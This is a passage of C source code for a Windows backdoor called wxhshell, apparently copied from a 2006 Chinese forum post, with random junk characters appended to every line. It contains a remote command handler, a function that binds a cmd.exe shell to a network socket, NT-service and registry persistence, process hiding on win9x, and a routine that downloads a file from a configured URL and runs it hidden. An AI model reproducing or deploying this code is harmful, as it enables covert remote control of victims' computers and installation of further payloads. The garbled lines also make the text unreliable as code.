  )'1rZb5  
  // 帮助 ^ ,cwm:B@  
  case '?': { RV=Z$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uY_vX\;67z  
    break; nt:d,H<p  
  } @H83Ad  
  // 安装 w;OvZo|  
  case 'i': { _8z gaA  
    if(Install()) |T; ]%<O3E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Au\j6mB  
    else Lu][0+-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); swTur  
    break; ,N1I\f  
    } /0_^Z2  
  // 卸载 cWU9mzsE  
  case 'r': { f, iHM  
    if(Uninstall()) 5R%4fzr&g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A &tMj?  
    else G u4mP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n OQvBc  
    break; AY(z9 &;6  
    } \*+-Bm:$j  
  // 显示 wxhshell 所在路径 o,q47W=7$  
  case 'p': { a5dc#f Kf  
    char svExeFile[MAX_PATH]; o0)k5P~<~  
    strcpy(svExeFile,"\n\r"); Lu.C+zgQ  
      strcat(svExeFile,ExeFile); @ L=dcO{r  
        send(wsh,svExeFile,strlen(svExeFile),0); K2o\+t  
    break; tb1w 6jaU  
    } -Pt']07E  
  // 重启 = }!4%.$  
  case 'b': { IQ] tcSQl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sy(8-zbI  
    if(Boot(REBOOT)) !uc"|S?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K\VL[HP-  
    else { wfMtWXd;KB  
    closesocket(wsh); ]n 'FD|  
    ExitThread(0); L5RBe  
    } Hs#q 7  
    break; U3tA"X.K  
    } Ve9*>6i&-4  
  // 关机 \s@7pM=(  
  case 'd': { 0_f6Qrcj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DQ`\HY  
    if(Boot(SHUTDOWN)) (X?et &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [B1h0IR  
    else { Oh'C [  
    closesocket(wsh); 6V&HlJH  
    ExitThread(0); c?t,,\o(}  
    } *>,#'C2  
    break; 2'-!9!C  
    } sKniqWi  
  // 获取shell x@Ze%$'  
  case 's': { '\wZKY VN  
    CmdShell(wsh); hhr!FQ.+/  
    closesocket(wsh); 2JR$  
    ExitThread(0); nl/~7({  
    break; n:P++^ j  
  } Ap)pOD7  
  // 退出 =}1m.  
  case 'x': { OaF[t*]D3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s;Sv@=\  
    CloseIt(wsh); EHlkt,h*  
    break; W&s@2y?rF  
    } wqE+hKs,  
  // 离开 _!C M  
  case 'q': { (> VD#n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); slH3c:j\  
    closesocket(wsh); ]1dnp]r  
    WSACleanup(); @#1T-*  
    exit(1); =2&Sw(6j  
    break; @E !`:/k  
        } Hq!|(  
  } j1i<.,0g  
  } 4iC=+YUn  
E%e2$KfD  
  // 提示信息 EF5:$#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <c_'(   
} #Nv)SCc  
  } 3aERfIJyE  
nS9 kwaO  
  return; H^J waF  
} 3v,Bg4[i  
<d] t{M62W  
// shell模块句柄 <F&53N&Zc  
int CmdShell(SOCKET sock) u0i;vO)MNt  
{ (>M@Ukam:  
STARTUPINFO si; Yu e#  
ZeroMemory(&si,sizeof(si)); BW5!@D2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p`T,VU&.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jlb=]hp8%  
PROCESS_INFORMATION ProcessInfo; GI[XcK^*w  
char cmdline[]="cmd"; =q"o%dc`R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Jk|ha~r  
  return 0; Q)%a2s;  
} O]-s(8Oo3  
DUlvlQW  
// 自身启动模式 r~Vb*~U"  
int StartFromService(void) +xojnv  
{ ;(0|2I'"  
typedef struct Ns5'K^  
{ +GFK!Pf  
  DWORD ExitStatus;  c FV3  
  DWORD PebBaseAddress; c7f11N!v>b  
  DWORD AffinityMask; Cy2)M(RW  
  DWORD BasePriority; =P7!6V\f  
  ULONG UniqueProcessId; OTV$8{  
  ULONG InheritedFromUniqueProcessId; "D[/o8Hk  
}   PROCESS_BASIC_INFORMATION; m={TBV,L  
TV[@!E a  
PROCNTQSIP NtQueryInformationProcess; atYe$Db  
1# ;`1i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;^9y#muk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]^BgSC  
"e@?^J)  
  HANDLE             hProcess; `2PvE4]%p  
  PROCESS_BASIC_INFORMATION pbi; WwAvR5jq  
j5~nLo2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l#^weXSlk  
  if(NULL == hInst ) return 0; z=pGu_`2  
xG~7kj3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :WHbwu,L$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G * '1[Bu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U?&&yynK  
-H9WwFk  
  if (!NtQueryInformationProcess) return 0; a1 .+L  
D+('1E?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p$_X\,F  
  if(!hProcess) return 0; 2{I+H'w8:  
Z<W`5sop^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Y<1KXFU  
3w$Ib}7   
  CloseHandle(hProcess); ;|AyP  
^gdv:[ m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /6yH ,{(a  
if(hProcess==NULL) return 0; X].Igb)2  
bC0DzBnM;  
HMODULE hMod; i8i~b8r]  
char procName[255]; qY$]^gS  
unsigned long cbNeeded; Dx>~^ ^<  
5~\GAjf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %W,V~kb  
{bMOT*X=A  
  CloseHandle(hProcess); :,1 kSM%r  
^zVW 3 Y q  
if(strstr(procName,"services")) return 1; // 以服务启动 >v1ajI>O&{  
idSc#n22  
  return 0; // 注册表启动 ;`:A(yN]T  
} /`VrV{\/!  
KvkU]s_  
// 主模块 |$ &v)  
int StartWxhshell(LPSTR lpCmdLine) dZ%rmTE(H  
{ OoOr@5g  
  SOCKET wsl; $0P7^4)w:  
BOOL val=TRUE; cByUP#hW  
  int port=0; |7@@~|A  
  struct sockaddr_in door; ;b;Bl:%?  
*@zya9y9q  
  if(wscfg.ws_autoins) Install(); X-}]?OOs  
@D7/u88|  
port=atoi(lpCmdLine); Mu/hTTiNx  
Huf;A1.  
if(port<=0) port=wscfg.ws_port; epG!V#I  
HleMzykF  
  WSADATA data; S3gd'Bahq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nHl{'|~  
^b6yN\,S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !'*1;OQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z?  Ck9  
  door.sin_family = AF_INET; lf}%^od~6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i Ie{L-Na  
  door.sin_port = htons(port); Eg4_kp0Lq  
i/RA/q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F.-:4m(Z  
closesocket(wsl); g)nT]+&  
return 1; 0gH;y+\=*  
} :(#5%6F  
xM**n3SZ`  
  if(listen(wsl,2) == INVALID_SOCKET) { 3]h*6 V1$  
closesocket(wsl); t(p}0}Pp  
return 1; d$:LUxM#  
} > *soc!#Y  
  Wxhshell(wsl); }-~LXL%!3  
  WSACleanup(); Zty9O8g  
S#nW )=   
return 0; 70.Tm#qh  
/&W~:F  
} 0}N"L ml  
@|<qTci  
// 以NT服务方式启动 >J/8lS{#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q:8t1ZDo  
{ a;=IOQ  
DWORD   status = 0; |>KOlwh5n  
  DWORD   specificError = 0xfffffff; #3_ @aq*  
T l8`3`e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dZCnQIS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f0 kz:sZ9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _ O;R  
  serviceStatus.dwWin32ExitCode     = 0; AA0\C_W0p  
  serviceStatus.dwServiceSpecificExitCode = 0; ^Vg-fO]V  
  serviceStatus.dwCheckPoint       = 0; u,./,:O%=  
  serviceStatus.dwWaitHint       = 0; 8~AL+*hn  
Y|ErVf4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8=OpX,t(  
  if (hServiceStatusHandle==0) return; ;*cCaB0u  
;cGY  
status = GetLastError(); ]A:8x`z#F  
  if (status!=NO_ERROR) #U.6HBuQa  
{ vF)eo"_s*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f<M!L> +M6  
    serviceStatus.dwCheckPoint       = 0; \|CuTb;0  
    serviceStatus.dwWaitHint       = 0; * 'Bu-1{  
    serviceStatus.dwWin32ExitCode     = status; .0p'G}1  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3 J5lz~6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6pbtE]  
    return; l OiZ2_2  
  } } ^2'@y!(  
&Qq|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0<+eN8od.  
  serviceStatus.dwCheckPoint       = 0; +v< \l=  
  serviceStatus.dwWaitHint       = 0; 1p8hn!V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3sp-0tUE  
} ._q<~_~R  
51xf.iB  
// 处理NT服务事件,比如:启动、停止 pA6A*~QE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E6zPN?\ <  
{ C8D`:k  
switch(fdwControl) -_= m j  
{ gBOF#"-  
case SERVICE_CONTROL_STOP: odn3*{c{x  
  serviceStatus.dwWin32ExitCode = 0; AWi+xo|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lIPz "  
  serviceStatus.dwCheckPoint   = 0; `pF7B6[B  
  serviceStatus.dwWaitHint     = 0; Pbt7T Q  
  { J?Oeuk~[D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M0$E_*  
  } -d^'-s  
  return; V[n,fEPBr  
case SERVICE_CONTROL_PAUSE: jB`:(5%RO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {C0Y8:"`  
  break; KDb`g}1Q  
case SERVICE_CONTROL_CONTINUE: =}YX I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *%*B o9a/  
  break; @9R78Zra  
case SERVICE_CONTROL_INTERROGATE: h/6^>setz  
  break; ?!O4ia3nFk  
}; AH_qZTv0{Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g>l+oH[Tv|  
} PkLNIp1  
vmh>|N4a7  
// 标准应用程序主函数 EWr7eH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F)v  
{ 6b9J3~d\E  
k SgE_W)  
// 获取操作系统版本 p$uPj*  
OsIsNt=GetOsVer(); z:Z-2WV2o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c=zSq%e   
J 5';Hb)  
  // 从命令行安装 Cy)N hgz  
  if(strpbrk(lpCmdLine,"iI")) Install(); t#3 _M=L  
\BN$WV  
  // 下载执行文件 :wG )  
if(wscfg.ws_downexe) { @BG].UJo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w)B ?j  
  WinExec(wscfg.ws_filenam,SW_HIDE); \j5`6}zm  
} @b,6W wc  
j=Izwt>   
if(!OsIsNt) { b`@C#qB  
// 如果时win9x,隐藏进程并且设置为注册表启动 w`=O '0d  
HideProc(); HUAYtUBH  
StartWxhshell(lpCmdLine); Js vdC]+  
} >oO]S]W  
else !zllv tK4  
  if(StartFromService()) \KzJNCOT  
  // 以服务方式启动 LrT EF j  
  StartServiceCtrlDispatcher(DispatchTable); |:.Uw\z5'  
else :0QDV~bs  
  // 普通方式启动 +cSc0:  
  StartWxhshell(lpCmdLine); _>rM[\|X  
([}08OW@  
return 0; Pq8oK'z -  
}
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只看该作者 1 发表于: 2006-10-10
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